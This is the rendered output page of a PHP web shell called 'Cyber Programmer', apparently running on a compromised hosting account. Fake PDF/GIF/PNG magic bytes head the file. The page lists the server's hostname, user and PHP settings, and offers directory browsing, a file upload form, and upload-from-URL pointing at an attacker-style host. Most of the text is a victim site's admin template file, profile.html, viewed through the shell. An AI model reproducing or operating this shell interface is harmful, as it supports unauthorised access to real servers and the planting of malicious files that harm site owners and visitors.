%PDF- %GIF98; %PNG;
<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C;
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>

<font face="Bungee" size="5">Cyber Programmer  </font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<img src="https://s24.picofile.com/file/8451407292/vaker.jpg" width="280" height="280" title="Logo of a company" alt="Logo of a company" class="center" />

Server : <font color='gold'>Apache</font><br>System : <font color='gold'>Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64</font><br>User : <font color='gold'>ndkhermy&nbsp;</font>( <font color='gold'>1200</font>)<br>PHP Version : <font color='gold'>8.5.12</font><br>Disable Function : <font color='gold'>NONE</font></font><br>Directory : &nbsp;<a href="?path=/">/</a><a href="?path=/home1">home1</a>/<a href="?path=/home1/ndkhermy">ndkhermy</a>/<a href="?path=/home1/ndkhermy/www">www</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2">website_1ec2d7c2</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2/webroot">webroot</a>/<a href="?path=/home1/ndkhermy/www/website_1ec2d7c2/webroot/admin">admin</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='green'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form></table><br><tr><td>Current File : /home1/ndkhermy/www/website_1ec2d7c2/webroot/admin/profile.html</tr></td></table><br/><pre>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
  &lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;meta name=&quot;description&quot; content=&quot;Creative - Bootstrap 3 Responsive Admin Template&quot;&gt;
    &lt;meta name=&quot;author&quot; content=&quot;GeeksLabs&quot;&gt;
    &lt;meta name=&quot;keyword&quot; content=&quot;Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal&quot;&gt;
    &lt;link rel=&quot;shortcut icon&quot; href=&quot;img/favicon.png&quot;&gt;

    &lt;title&gt;Profile | Creative - Bootstrap 3 Responsive Admin Template&lt;/title&gt;

    &lt;!-- Bootstrap CSS --&gt;    
    &lt;link href=&quot;css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!-- bootstrap theme --&gt;
    &lt;link href=&quot;css/bootstrap-theme.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;!--external css--&gt;
    &lt;!-- font icon --&gt;
    &lt;link href=&quot;css/elegant-icons-style.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;link href=&quot;css/font-awesome.min.css&quot; rel=&quot;stylesheet&quot; /&gt;
    &lt;!-- Custom styles --&gt;
    &lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot;&gt;
    &lt;link href=&quot;css/style-responsive.css&quot; rel=&quot;stylesheet&quot; /&gt;

    &lt;!-- HTML5 shim and Respond.js IE8 support of HTML5 --&gt;
    &lt;!--[if lt IE 9]&gt;
      &lt;script src=&quot;js/html5shiv.js&quot;&gt;&lt;/script&gt;
      &lt;script src=&quot;js/respond.min.js&quot;&gt;&lt;/script&gt;
      &lt;script src=&quot;js/lte-ie7.js&quot;&gt;&lt;/script&gt;
    &lt;![endif]--&gt;
  &lt;/head&gt;

  &lt;body&gt;
  &lt;!-- container section start --&gt;
  &lt;section id=&quot;container&quot; class=&quot;&quot;&gt;
      &lt;!--header start--&gt;
      &lt;header class=&quot;header dark-bg&quot;&gt;
            &lt;div class=&quot;toggle-nav&quot;&gt;
                &lt;div class=&quot;icon-reorder tooltips&quot; data-original-title=&quot;Toggle Navigation&quot; data-placement=&quot;bottom&quot;&gt;&lt;i class=&quot;icon_menu&quot;&gt;&lt;/i&gt;&lt;/div&gt;
            &lt;/div&gt;

            &lt;!--logo start--&gt;
            &lt;a href=&quot;index.html&quot; class=&quot;logo&quot;&gt;Nice &lt;span class=&quot;lite&quot;&gt;Admin&lt;/span&gt;&lt;/a&gt;
            &lt;!--logo end--&gt;

            &lt;div class=&quot;nav search-row&quot; id=&quot;top_menu&quot;&gt;
                &lt;!--  search form start --&gt;
                &lt;ul class=&quot;nav top-menu&quot;&gt;                    
                    &lt;li&gt;
                        &lt;form class=&quot;navbar-form&quot;&gt;
                            &lt;input class=&quot;form-control&quot; placeholder=&quot;Search&quot; type=&quot;text&quot;&gt;
                        &lt;/form&gt;
                    &lt;/li&gt;                    
                &lt;/ul&gt;
                &lt;!--  search form end --&gt;                
            &lt;/div&gt;

            &lt;div class=&quot;top-nav notification-row&quot;&gt;                
                &lt;!-- notificatoin dropdown start--&gt;
                &lt;ul class=&quot;nav pull-right top-menu&quot;&gt;
                    
                    &lt;!-- task notificatoin start --&gt;
                    &lt;li id=&quot;task_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-task-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;5&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended tasks-bar&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 5 pending tasks&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Design PSD &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;90%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-success&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;90&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 90%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;90% Complete (success)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;
                                            Project 1
                                        &lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;30%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-warning&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;30&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 30%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;30% Complete (warning)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Digital Marketing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;80%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-info&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;80&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 80%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;80% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Logo Designing&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;78%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped&quot;&gt;
                                        &lt;div class=&quot;progress-bar progress-bar-danger&quot; role=&quot;progressbar&quot; aria-valuenow=&quot;78&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 78%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;78% Complete (danger)&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;div class=&quot;task-info&quot;&gt;
                                        &lt;div class=&quot;desc&quot;&gt;Mobile App&lt;/div&gt;
                                        &lt;div class=&quot;percent&quot;&gt;50%&lt;/div&gt;
                                    &lt;/div&gt;
                                    &lt;div class=&quot;progress progress-striped active&quot;&gt;
                                        &lt;div class=&quot;progress-bar&quot;  role=&quot;progressbar&quot; aria-valuenow=&quot;50&quot; aria-valuemin=&quot;0&quot; aria-valuemax=&quot;100&quot; style=&quot;width: 50%&quot;&gt;
                                            &lt;span class=&quot;sr-only&quot;&gt;50% Complete&lt;/span&gt;
                                        &lt;/div&gt;
                                    &lt;/div&gt;

                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li class=&quot;external&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;See All Tasks&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- task notificatoin end --&gt;
                    &lt;!-- inbox notificatoin start--&gt;
                    &lt;li id=&quot;mail_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;i class=&quot;icon-envelope-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;5&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended inbox&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 5 new messages&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Greg  Martin&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 min&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I really like this admin panel.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini2.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Bob   Mckenzie&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;5 mins&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                     Hi, What is next project plan?
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini3.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Phillip   Park&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;2 hrs&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        I am like to buy this Admin Template.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;photo&quot;&gt;&lt;img alt=&quot;avatar&quot; src=&quot;./img/avatar-mini4.jpg&quot;&gt;&lt;/span&gt;
                                    &lt;span class=&quot;subject&quot;&gt;
                                    &lt;span class=&quot;from&quot;&gt;Ray   Munoz&lt;/span&gt;
                                    &lt;span class=&quot;time&quot;&gt;1 day&lt;/span&gt;
                                    &lt;/span&gt;
                                    &lt;span class=&quot;message&quot;&gt;
                                        Icon fonts are great.
                                    &lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all messages&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- inbox notificatoin end --&gt;
                    &lt;!-- alert notification start--&gt;
                    &lt;li id=&quot;alert_notificatoin_bar&quot; class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;

                            &lt;i class=&quot;icon-bell-l&quot;&gt;&lt;/i&gt;
                            &lt;span class=&quot;badge bg-important&quot;&gt;7&lt;/span&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended notification&quot;&gt;
                            &lt;div class=&quot;notify-arrow notify-arrow-blue&quot;&gt;&lt;/div&gt;
                            &lt;li&gt;
                                &lt;p class=&quot;blue&quot;&gt;You have 4 new notifications&lt;/p&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-primary&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Friend Request
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;5 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-warning&quot;&gt;&lt;i class=&quot;icon_pin&quot;&gt;&lt;/i&gt;&lt;/span&gt;  
                                    John location.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;50 mins&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-danger&quot;&gt;&lt;i class=&quot;icon_book_alt&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Project 3 Completed.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt;1 hr&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;
                                    &lt;span class=&quot;label label-success&quot;&gt;&lt;i class=&quot;icon_like&quot;&gt;&lt;/i&gt;&lt;/span&gt; 
                                    Mick appreciated your work.
                                    &lt;span class=&quot;small italic pull-right&quot;&gt; Today&lt;/span&gt;
                                &lt;/a&gt;
                            &lt;/li&gt;                            
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;See all notifications&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- alert notification end--&gt;
                    &lt;!-- user login dropdown start--&gt;
                    &lt;li class=&quot;dropdown&quot;&gt;
                        &lt;a data-toggle=&quot;dropdown&quot; class=&quot;dropdown-toggle&quot; href=&quot;#&quot;&gt;
                            &lt;span class=&quot;profile-ava&quot;&gt;
                                &lt;img alt=&quot;&quot; src=&quot;img/avatar1_small.jpg&quot;&gt;
                            &lt;/span&gt;
                            &lt;span class=&quot;username&quot;&gt;Jenifer Smith&lt;/span&gt;
                            &lt;b class=&quot;caret&quot;&gt;&lt;/b&gt;
                        &lt;/a&gt;
                        &lt;ul class=&quot;dropdown-menu extended logout&quot;&gt;
                            &lt;div class=&quot;log-arrow-up&quot;&gt;&lt;/div&gt;
                            &lt;li class=&quot;eborder-top&quot;&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_profile&quot;&gt;&lt;/i&gt; My Profile&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_mail_alt&quot;&gt;&lt;/i&gt; My Inbox&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_clock_alt&quot;&gt;&lt;/i&gt; Timeline&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;#&quot;&gt;&lt;i class=&quot;icon_chat_alt&quot;&gt;&lt;/i&gt; Chats&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;login.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Log Out&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                            &lt;li&gt;
                                &lt;a href=&quot;documentation.html&quot;&gt;&lt;i class=&quot;icon_key_alt&quot;&gt;&lt;/i&gt; Documentation&lt;/a&gt;
                            &lt;/li&gt;
                        &lt;/ul&gt;
                    &lt;/li&gt;
                    &lt;!-- user login dropdown end --&gt;
                &lt;/ul&gt;
                &lt;!-- notificatoin dropdown end--&gt;
            &lt;/div&gt;
      &lt;/header&gt;      
      &lt;!--header end--&gt;

      &lt;!--sidebar start--&gt;
      &lt;aside&gt;
          &lt;div id=&quot;sidebar&quot;  class=&quot;nav-collapse &quot;&gt;
              &lt;!-- sidebar menu start--&gt;
              &lt;ul class=&quot;sidebar-menu&quot;&gt;                
                  &lt;li class=&quot;active&quot;&gt;
                      &lt;a class=&quot;&quot; href=&quot;index.html&quot;&gt;
                          &lt;i class=&quot;icon_house_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Dashboard&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
				  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_document_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Forms&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_component.html&quot;&gt;Form Elements&lt;/a&gt;&lt;/li&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;       
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_desktop&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;UI Fitures&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;general.html&quot;&gt;Components&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;buttons.html&quot;&gt;Buttons&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;grids.html&quot;&gt;Grids&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  &lt;li&gt;
                      &lt;a class=&quot;&quot; href=&quot;widgets.html&quot;&gt;
                          &lt;i class=&quot;icon_genius&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Widgets&lt;/span&gt;
                      &lt;/a&gt;
                  &lt;/li&gt;
                  &lt;li&gt;                     
                      &lt;a class=&quot;&quot; href=&quot;chart-chartjs.html&quot;&gt;
                          &lt;i class=&quot;icon_piechart&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Charts&lt;/span&gt;
                          
                      &lt;/a&gt;
                                         
                  &lt;/li&gt;
                             
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_table&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Tables&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;basic_table.html&quot;&gt;Basic Table&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
                  &lt;li class=&quot;sub-menu&quot;&gt;
                      &lt;a href=&quot;javascript:;&quot; class=&quot;&quot;&gt;
                          &lt;i class=&quot;icon_documents_alt&quot;&gt;&lt;/i&gt;
                          &lt;span&gt;Pages&lt;/span&gt;
                          &lt;span class=&quot;menu-arrow arrow_carrot-right&quot;&gt;&lt;/span&gt;
                      &lt;/a&gt;
                      &lt;ul class=&quot;sub&quot;&gt;                          
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;profile.html&quot;&gt;Profile&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;login.html&quot;&gt;&lt;span&gt;Login Page&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;blank.html&quot;&gt;Blank Page&lt;/a&gt;&lt;/li&gt;
                          &lt;li&gt;&lt;a class=&quot;&quot; href=&quot;404.html&quot;&gt;404 Error&lt;/a&gt;&lt;/li&gt;
                      &lt;/ul&gt;
                  &lt;/li&gt;
                  
              &lt;/ul&gt;
              &lt;!-- sidebar menu end--&gt;
          &lt;/div&gt;
      &lt;/aside&gt;
      &lt;!--sidebar end--&gt;
      
      &lt;!--main content start--&gt;
      &lt;section id=&quot;main-content&quot;&gt;
          &lt;section class=&quot;wrapper&quot;&gt;
		  &lt;div class=&quot;row&quot;&gt;
				&lt;div class=&quot;col-lg-12&quot;&gt;
					&lt;h3 class=&quot;page-header&quot;&gt;&lt;i class=&quot;fa fa-user-md&quot;&gt;&lt;/i&gt; Profile&lt;/h3&gt;
					&lt;ol class=&quot;breadcrumb&quot;&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-home&quot;&gt;&lt;/i&gt;&lt;a href=&quot;index.html&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;
						&lt;li&gt;&lt;i class=&quot;icon_documents_alt&quot;&gt;&lt;/i&gt;Pages&lt;/li&gt;
						&lt;li&gt;&lt;i class=&quot;fa fa-user-md&quot;&gt;&lt;/i&gt;Profile&lt;/li&gt;
					&lt;/ol&gt;
				&lt;/div&gt;
			&lt;/div&gt;
              &lt;div class=&quot;row&quot;&gt;
                &lt;!-- profile-widget --&gt;
                &lt;div class=&quot;col-lg-12&quot;&gt;
                    &lt;div class=&quot;profile-widget profile-widget-info&quot;&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                            &lt;div class=&quot;col-lg-2 col-sm-2&quot;&gt;
                              &lt;h4&gt;Jenifer Smith&lt;/h4&gt;               
                              &lt;div class=&quot;follow-ava&quot;&gt;
                                  &lt;img src=&quot;img/profile-widget-avatar.jpg&quot; alt=&quot;&quot;&gt;
                              &lt;/div&gt;
                              &lt;h6&gt;Administrator&lt;/h6&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;col-lg-4 col-sm-4 follow-info&quot;&gt;
                                &lt;p&gt;Hello I’m Jenifer Smith, a leading expert in interactive and creative design.&lt;/p&gt;
                                &lt;p&gt;@jenifersmith&lt;/p&gt;
								&lt;p&gt;&lt;i class=&quot;fa fa-twitter&quot;&gt;jenifertweet&lt;/i&gt;&lt;/p&gt;
                                &lt;h6&gt;
                                    &lt;span&gt;&lt;i class=&quot;icon_clock_alt&quot;&gt;&lt;/i&gt;11:05 AM&lt;/span&gt;
                                    &lt;span&gt;&lt;i class=&quot;icon_calendar&quot;&gt;&lt;/i&gt;25.10.13&lt;/span&gt;
                                    &lt;span&gt;&lt;i class=&quot;icon_pin_alt&quot;&gt;&lt;/i&gt;NY&lt;/span&gt;
                                &lt;/h6&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;col-lg-2 col-sm-6 follow-info weather-category&quot;&gt;
                                      &lt;ul&gt;
                                          &lt;li class=&quot;active&quot;&gt;
                                              
                                              &lt;i class=&quot;fa fa-comments fa-2x&quot;&gt; &lt;/i&gt;&lt;br&gt;
											  
											  Contrary to popular belief, Lorem Ipsum is not simply
                                          &lt;/li&gt;
										   
                                      &lt;/ul&gt;
                            &lt;/div&gt;
							&lt;div class=&quot;col-lg-2 col-sm-6 follow-info weather-category&quot;&gt;
                                      &lt;ul&gt;
                                          &lt;li class=&quot;active&quot;&gt;
                                              
                                              &lt;i class=&quot;fa fa-bell fa-2x&quot;&gt; &lt;/i&gt;&lt;br&gt;
											  
											  Contrary to popular belief, Lorem Ipsum is not simply 
                                          &lt;/li&gt;
										   
                                      &lt;/ul&gt;
                            &lt;/div&gt;
							&lt;div class=&quot;col-lg-2 col-sm-6 follow-info weather-category&quot;&gt;
                                      &lt;ul&gt;
                                          &lt;li class=&quot;active&quot;&gt;
                                              
                                              &lt;i class=&quot;fa fa-tachometer fa-2x&quot;&gt; &lt;/i&gt;&lt;br&gt;
											  
											  Contrary to popular belief, Lorem Ipsum is not simply
                                          &lt;/li&gt;
										   
                                      &lt;/ul&gt;
                            &lt;/div&gt;
                          &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
              &lt;!-- page start--&gt;
              &lt;div class=&quot;row&quot;&gt;
                 &lt;div class=&quot;col-lg-12&quot;&gt;
                    &lt;section class=&quot;panel&quot;&gt;
                          &lt;header class=&quot;panel-heading tab-bg-info&quot;&gt;
                              &lt;ul class=&quot;nav nav-tabs&quot;&gt;
                                  &lt;li class=&quot;active&quot;&gt;
                                      &lt;a data-toggle=&quot;tab&quot; href=&quot;#recent-activity&quot;&gt;
                                          &lt;i class=&quot;icon-home&quot;&gt;&lt;/i&gt;
                                          Daily Activity
                                      &lt;/a&gt;
                                  &lt;/li&gt;
                                  &lt;li&gt;
                                      &lt;a data-toggle=&quot;tab&quot; href=&quot;#profile&quot;&gt;
                                          &lt;i class=&quot;icon-user&quot;&gt;&lt;/i&gt;
                                          Profile
                                      &lt;/a&gt;
                                  &lt;/li&gt;
                                  &lt;li class=&quot;&quot;&gt;
                                      &lt;a data-toggle=&quot;tab&quot; href=&quot;#edit-profile&quot;&gt;
                                          &lt;i class=&quot;icon-envelope&quot;&gt;&lt;/i&gt;
                                          Edit Profile
                                      &lt;/a&gt;
                                  &lt;/li&gt;
                              &lt;/ul&gt;
                          &lt;/header&gt;
                          &lt;div class=&quot;panel-body&quot;&gt;
                              &lt;div class=&quot;tab-content&quot;&gt;
                                  &lt;div id=&quot;recent-activity&quot; class=&quot;tab-pane active&quot;&gt;
                                      &lt;div class=&quot;profile-activity&quot;&gt;                                          
                                          &lt;div class=&quot;act-time&quot;&gt;                                      
                                              &lt;div class=&quot;activity-body act-in&quot;&gt;
